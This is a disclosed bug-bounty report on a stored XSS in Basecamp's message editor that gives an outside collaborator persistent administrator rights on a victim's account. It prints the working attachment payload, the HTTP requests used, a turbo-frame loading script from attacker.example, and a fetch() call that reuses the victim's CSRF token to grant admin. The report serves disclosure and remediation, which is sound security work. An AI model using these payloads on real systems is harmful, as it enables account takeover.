Cross-account stored XSS on app.basecamp.com leads to persistent administrator takeover
An outside collaborator could store a message with a crafted attachment that, when an administrator opened the edit form, executed JavaScript in the administrator's session. The script used the victim's CSRF token to grant the attacker persistent administrator rights on the victim's account.
- Triaged in 36 hours
- Fixed in 7 days
- Paid in 7 days
- Disclosed after 8 days
Executive summary
An outside collaborator (O) in one project can store a message that renders
as a normal YouTube embed while carrying attacker-controlled HTML in the
content attribute of its bc-attachment.
When a different user, account administrator (A), opens that message's Edit
form once, Lexxy normalizes the stored HTML and exposes a trusted legacy
behavior. The behavior fetches attacker-controlled HTML and writes it with
innerHTML. The attacker then introduces a cross-origin turbo-frame; Turbo
loads its response and applies the victim page's CSP nonce to the embedded
script. JavaScript therefore executes in the origin
https://app.basecamp.com.
That script reads A's CSRF token and calls the administrator-grant endpoint as A. O becomes a persistent administrator of A's account. The grant remains after the victim browser is closed.
The demonstrated end state is:
O: admin = true, owner = false
Victim: remains the account owner
Victim 37signals password/identity: not compromised
Test accounts
All accounts, users, and content are mine.
| Role | Person ID | Basecamp account | Access in victim account |
|---|---|---|---|
Victim administrator (A) |
53379754 |
6301766 |
Account owner/admin |
External attacker (O) |
53489491 |
6314604 |
Outside collaborator in one project |
| State | Account 6301766 |
|---|---|
| Before the trigger | O has only project-level access as an outside collaborator in project 49452064; O has no team, administrator, account-settings, or other-project access. |
| After the trigger | O is persistently admin: true, owner: false; O can manage administrators, people, project access, and account settings. |
The initial role was also checked directly from O's session: O appeared in the
project participant list, was absent from the account administrator list, and
received 403 from account-administration routes, including a direct attempt
to grant administrator access.
The victim remains the account owner. O does not obtain A's password or the global 37signals identity.
Preconditions and attack model
- O controls a Basecamp account and is an outside collaborator with permission to post a message in one victim project.
- A account administrator opens the stored message's Edit form once.
- O controls an HTTPS origin that can return CORS-enabled HTML and the Turbo frame response.
- O needs no victim password, session cookie, CSRF token, or second click.
The message is stored. If another victim administrator opens the same Edit form later, the same script executes in that administrator's session.
Proof package
The end-to-end screen recording is the primary proof:
Separate attacker account
O is signed in to the independent Basecamp account 6314604. The Adminland
button visible on this page belongs to O's own account; it is not the victim's
account 6301766.

Stored message renders normally
O stores the payload in the victim project. The reader view displays a normal
YouTube embed and attributes the message to H1 Outsider.

Native JavaScript execution
The victim opens Edit. The Chrome address bar is still on
app.basecamp.com, and the native dialog displays the result of
alert(document.domain):
app.basecamp.com

Persistent Adminland access after the victim session
The XSS grants O administrator privileges using A's authenticated session.
After the victim browser is closed, O can still open Adminland for account
6301766.

O can add/remove administrators
O exercises the stolen privilege and promotes another member (demo, person
53379769) to administrator. The list visibly includes O, the victim owner,
and the newly promoted administrator.

Victim account-management data
O can open the victim administrator's account-management profile without the victim's browser, cookie, or password.

Attack chain
External account O (account 6314604, person 53489491)
-> outside collaborator in victim project 49452064
-> stores a valid YouTube embed and hidden bc-attachment content
Victim administrator A (account 6301766, person 53379754)
-> opens message 10479052766 in Edit
-> Lexxy normalizes select > option > div
-> data-behavior/data-url survive DOMPurify
-> load_drafts_link fetches attacker HTML and assigns innerHTML
-> attacker inserts <turbo-frame src=attacker>
-> Turbo loads the frame and copies A's CSP nonce to its script
JavaScript runs as A on app.basecamp.com
-> POST /account/administratorships with A's CSRF token
-> server returns 302 to /6301766/account/administrators
-> O becomes a persistent administrator of A's account
Reproduction
- As O, verify that the session is attached to the independent account
6314604, not victim account6301766. - Create a normal YouTube embed under the victim account and retain its
server-generated
sgid. - As O, post a message in victim project
49452064using the payload below. - As victim administrator A, open the stored message's Edit URL once.
- Observe the native
alert(document.domain)and the same-origin POST to/6301766/account/administratorships. - Close the victim browser. Verify that O's separate account is now a
persistent administrator of account
6301766. - As O, perform an administrator write action by promoting person
53379769.
The sgid is obtained by creating a normal YouTube embed with O's
authenticated session:
POST /6301766/embeds.json HTTP/1.1
Host: app.basecamp.com
Content-Type: application/json
X-CSRF-Token: <O's token>
{"url":"https://www.youtube.com/watch?v=dQw4w9WgXcQ"}
Payload
<div>H1XACCT cross-account proof</div>
<bc-attachment
sgid="YOUTUBE_EMBED_SGID"
content-type="embed/youtube-video"
content="<select><option><div data-behavior="load_drafts_link" data-url="https://attacker.example/drafts">XSS</div></option></select>">
</bc-attachment>
<div>H1XACCT after embed</div>
O stores that markup as the content value of a normal message:
POST /6301766/buckets/49452064/message_boards/10465121751/messages.json HTTP/1.1
Host: app.basecamp.com
Content-Type: application/json
X-CSRF-Token: <O's token>
{
"subject": "H1XACCT independent account XSS proof",
"content": "<div>...</div><bc-attachment ...></bc-attachment><div>...</div>",
"status": "active"
}
The key detail is that the nested malicious markup is encoded inside the
content attribute. The attachment still has a valid server-generated
sgid, so the reader view is not visibly malformed.
Victim trigger
The victim opens:
https://app.basecamp.com/6301766/buckets/49452064/messages/10479052766/edit
The attacker's /drafts response is inserted by load_drafts_link:
<turbo-frame
id="h1proofframe"
src="https://attacker.example/frame">
</turbo-frame>
The matching /frame response contains an inline script inside a frame with the
same ID. Turbo loads the CORS-enabled response and supplies the current page
nonce when activating the script.
Administrator takeover
The nonce-authorized script runs on https://app.basecamp.com, reads the
victim's CSRF token from the page metadata, and calls:
const body = new URLSearchParams({ person_id: "53489491" }).toString();
await fetch("/6301766/account/administratorships", {
method: "POST",
credentials: "same-origin",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
"X-CSRF-Token": csrf
},
body
});
The server responds with a 302 Found redirect to:
/6301766/account/administrators
The grant is persistent and the grant endpoint accepts the request because it originates from the victim's own origin with the victim's valid CSRF token. After the victim browser closes, O's separate session reports:
{
"id": 53489491,
"admin": true,
"owner": false
}
O then accesses the following victim account surfaces with O's own cookie and without A's browser:
/6301766/account
/6301766/account/administrators
/6301766/account/people
/6301766/account/people/users/53379754/edit
/6301766/account/accesses/53379769/edit
/6301766/account/retention
O also promotes person 53379769 to administrator. This proves persistent
write access to the administrator-management surface, not merely read access or
a reflected UI state.
Root-cause analysis
The exploit combines four primitives:
-
Client-controlled attachment content is trusted. The server preserves the supplied
bc-attachment.contentwhen the attachment has a validsgid. Lexxy reparses that content in the editor. -
HTML parsing is not a sanitization boundary. The invalid
select > option > divsequence is normalized by the HTML parser into a livediv, exposing attributes that were not intended to become active. -
Dangerous data attributes survive sanitization. Lexxy blocks
data-controlleranddata-actionbut permitsdata-behavior="load_drafts_link"and the attacker-controlleddata-url. -
A trusted behavior sinks to
innerHTML. The legacy behavior executes:JavaScript BC.fetch(element.dataset.url).then(html => element.innerHTML = html)
The injected turbo-frame is then loaded by Turbo. Turbo's frame handling
propagates the page's CSP nonce to the frame script, converting stored HTML
injection into same-origin JavaScript execution. The application's CSRF
protection does not prevent this because the script reads and reuses the
victim's legitimate token from the same origin.
Observed evidence
-
Native dialog:
app.basecamp.com -
Browser origin during execution:
https://app.basecamp.com -
Attacker fetches:
/drafts, then/frame -
JavaScript execution on the victim origin
-
Request:
Text POST https://app.basecamp.com/6301766/account/administratorships 302 -> /6301766/account/administrators -
Persisted attacker grant:
JSON { "id": 53489491, "admin": true, "owner": false } -
Attacker administrator write: person
53379769changed from non-admin to admin with a302response to/6301766/account/administrators.
Suggested remediation
Primary fixes:
- Do not trust a client-supplied
bc-attachment.contentmerely because itssgidresolves. Rebuild attachment markup server-side from the resolved object. - Set DOMPurify's
ALLOW_DATA_ATTRtofalsein Lexxy, or use an explicit allowlist that excludes behavior and URL-bearing attributes. - Prevent legacy behaviors from consuming URLs in imported attachment content.
Defense in depth:
- Normalize HTML to a fixed point before validation and rendering.
- Do not apply the application CSP nonce to scripts originating in attacker-controlled cross-origin Turbo frames.
- Require step-up authentication for administrator grants and removals.
- Add regression tests covering the attachment parser differential,
data-behavior/data-url, cross-origin frames, and nonce propagation.
The accounts, stored message, attacker tunnel, and administrator grants are intentionally left in place for validation.
Impact
An outside collaborator in one shared project can execute arbitrary JavaScript in an account owner/admin's authenticated session when the victim opens the message editor once.
The script can read the CSRF token and perform authenticated same-origin requests as the victim. The demonstrated end state is persistent administrative control of the victim account:
- add or remove administrators;
- manage account people;
- edit project access for account members;
- open victim account-management records;
- access account-level retention settings;
- perform other actions available to the victim administrator.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the server trusted client-supplied attachment content and a legacy behaviour inserted it via innerHTML, while the sanitiser allowed dangerous data attributes and Turbo copied the page's CSP nonce to an attacker-controlled frame.
Impact
An outside collaborator could gain persistent administrative control of the victim's account, including adding or removing administrators and managing account settings, though the victim's password and global identity were not compromised.
What the attacker needed
Attacker has a Basecamp account; attacker is outside collaborator in one project; victim admin opens the message edit form once; attacker controls an HTTPS origin
The fix
The report suggests rebuilding attachment markup server-side, disallowing data attributes in the sanitiser, preventing legacy behaviours from consuming URLs, and not applying the CSP nonce to cross-origin Turbo frames; the text does not state that a fix was deployed.
How it was found
- As the attacker, confirm the session belongs to the independent account, not the victim account.
- Create a normal YouTube embed under the victim account and keep its server-generated sgid.
- Post a message in the victim project containing the crafted attachment payload.
- As the victim administrator, open the stored message's edit URL once.
- Observe the JavaScript alert and the same-origin POST to the administratorships endpoint.
- Close the victim browser and verify the attacker's separate account is now a persistent administrator.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A person who was only an outside collaborator in one project could hide malicious code inside a message attachment. When an administrator edited that message, the code ran in the administrator's browser and gave the collaborator persistent admin rights on the account.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.